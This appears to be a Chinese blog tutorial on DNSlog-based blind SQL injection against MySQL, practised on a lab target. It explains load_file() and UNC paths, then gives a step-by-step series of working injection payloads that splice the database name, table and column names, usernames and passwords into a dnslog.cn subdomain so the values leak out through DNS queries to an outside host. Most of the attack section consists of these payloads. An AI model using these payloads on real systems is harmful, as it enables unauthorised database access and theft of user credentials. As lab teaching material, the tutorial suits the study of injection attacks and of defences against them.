鲁迅先生曾经说过:做安全,先免责!
用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。
本文主要内容:DNSlog注入
DNSlog注入
按照分类来说,DNSlog注入属于盲注,但是比盲注的效率要高很多
前提:需要mysql
对服务器具有读和写文件的权限,与前面的文件上传一样
- 如果有文件读写权限,文件上传和DNSlog注入可以一起做,否则都不可以做
load_file()
select load_file('d:\\a.txt');
:读取指定路径下的文件的内容
UNC路径
格式:\servername\sharename
,其中\servername
是服务器名,sharename
是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename
原理分析
攻击者提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询。攻击者只有能够获取DNS日志,就可以查询到想要的值。
因此需要一个自己的域名,在域名商处配置一条NS记录,然后在NS服务器上获取DNS日志即可。
推荐平台
http://www.dnslog.cn
http://ceye.io
靶场实战
打开http://www.dnslog.cn
,获取一个测试用的域名。
使用靶场第10节
判断闭合方式
参数:?id=1" and sleep(3) --+
,页面加载耗时3秒,说明是使用双引号进行闭合。
获取数据库名称
and (select load_file(
concat(
"//",
(select database()),
".6yltji.dnslog.cn/abc")
)) --+
使用concat()
函数构造UNC路径
concat
第三个参数最前面一定要有.
,用于和前面内容进行拼接concat
第三个参数最后面一定要跟一个任意的文件名
获取表名
and (select load_file(
concat("//",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".6yltji.dnslog.cn/abc")
)) --+
and (select load_file(
concat("//",(select table_name from information_schema.tables where table_schema=database() limit 2,1),".6yltji.dnslog.cn/abc")
)) --+
and (select load_file(
concat("//",(select table_name from information_schema.tables where table_schema=database() limit 3,1),".6yltji.dnslog.cn/abc")
)) --+
and (select load_file(
concat("//",(select table_name from information_schema.tables where table_schema=database() limit 4,1),".6yltji.dnslog.cn/abc")
)) --+
使用limit
控制输出表名,不支持使用group_concat
函数
获取列名
and (select load_file(
concat("//",(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),".6yltji.dnslog.cn/abc")
)) --+
and (select load_file(
concat("//",(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),".6yltji.dnslog.cn/abc")
)) --+
and (select load_file(
concat("//",(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),".6yltji.dnslog.cn/abc")
)) --+
获取数据
获取用户名
and (select load_file(concat("//",(select username from users limit 0,1),".6yltji.dnslog.cn/abc"))) --+
获取密码
and (select load_file(concat("//",(select password from users limit 1,1),".6yltji.dnslog.cn/abc"))) --+
PS:有时可能由于网络原因,DNS记录刷新不及时。
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊
,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!